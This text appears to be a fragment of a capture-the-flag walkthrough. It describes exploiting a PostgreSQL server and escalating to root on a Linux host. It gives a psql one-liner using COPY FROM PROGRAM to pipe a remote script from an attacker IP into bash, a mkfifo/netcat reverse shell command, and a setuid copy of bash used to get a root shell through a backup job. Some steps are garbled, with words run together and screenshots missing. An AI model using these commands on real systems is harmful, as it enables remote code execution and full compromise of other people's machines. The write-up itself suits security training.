Now using this article We can read files: Using psql oneliner:
service=# DROP TABLE IF EXISTS cmd_exec;CREATE TABLE cmd_exec(cmd_output text);COPY cmd_exec FROM PROGRAM 'curl <http://10.8.1.208/x> | bash';DROP TABLE IF EXISTS cmd_exec
Using a reverse shell command:
COPY shell FROM PROGRAM 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.8.1.208 443 >/tmp/f';
Now we can get ssh access: Using pspy: This /usr/bin/backup: Now we found the folder that was being backed up at /var/lib/postgresql/14/main
Now copying bash files to the directory and giving setuid bit: cp /bin/bash mybashchmod u+s mybash
Now in /opt/backups/current/ we have mybash and executing it we get a root shell: